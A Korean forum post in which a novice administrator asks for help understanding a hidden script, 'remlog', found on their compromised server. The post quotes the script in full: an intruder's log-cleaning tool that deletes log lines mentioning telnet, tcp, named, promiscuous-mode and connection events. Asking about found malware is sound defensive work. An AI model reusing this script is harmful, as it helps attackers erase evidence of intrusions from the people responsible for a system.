어떤놈이 이런거 만들어 놓고 ls 명령으로도 안보이도록 해놔서
다른 안전한 시스템의 ls 파일로 찾어낸 파일인데.. 데몬을 건딜인것
같은데.. 확실하게 어떻게 실행되는건지 잘 모르게네요. ㅠ_ㅠ;
해석좀 부탁할께요.. 초보 관리자라서 흑흑.. 죄송
-파일 이름 (remlog) -
#!/bin/bash
#log removing tool, by CID.
#For MagNum.
#file to fix
FILE=$1
#last x lines to check for x string(s)
LINES=25
#strings to filter out.
STRING1=in.telnet
STRING2=tcp
STRING3=named
STRING4=promiscuous
STRING5=amd
STRING6=log
STRING7=ident
STRING8=onnect
SIZE=`wc -l $FILE | awk '{print $1}'`
echo MagNum. [log fixer]
if [ $SIZE -ge "25" ]; then
TEMP1=`wc -l $FILE | awk '{print $1}'`
TEMP2=`expr $TEMP1 - $LINES`
head -$TEMP2 $FILE >$FILE~new
tail -$LINES $FILE >/tmp/.tmplog
cat /tmp/.tmplog | grep -v $STRING1 | grep -v $STRING2 >/tmp/.tmplog
cat /tmp/.tmplog | grep -v $STRING3 | grep -v $STRING4 >/tmp/.tmplog
cat /tmp/.tmplog | grep -v $STRING5 | grep -v $STRING6 >/tmp/.tmplog
cat /tmp/.tmplog | grep -v $STRING7 | grep -v $STRING8 >/tmp/.tmplog
cat /tmp/.tmplog >>$FILE~new
sleep 1
cat $FILE~new >$FILE
sleep 1
rm -f /tmp/.tmplog
rm -f $FILE~new
echo "fixed $FILE."
fi
if [ $SIZE -le "25" ]; then
cat $FILE >/tmp/.tmplog
cat /tmp/.tmplog | grep -v $STRING1 | grep -v $STRING2 >/tmp/.tmplog
cat /tmp/.tmplog | grep -v $STRING3 | grep -v $STRING4 >/tmp/.tmplog
cat /tmp/.tmplog | grep -v $STRING5 | grep -v $STRING6 >/tmp/.tmplog
cat /tmp/.tmplog | grep -v $STRING7 | grep -v $STRING8 >/tmp/.tmplog
cat /tmp/.tmplog >$FILE
#for some reasons slower machines mess up when writing too quickly
(?)
#like my 486!
#so i added a small delay to help it along.., i am however still
clueless
#as to why it does mess up. -cid
sleep 1
rm -f /tmp/.tmplog
echo "fixed $FILE."
fi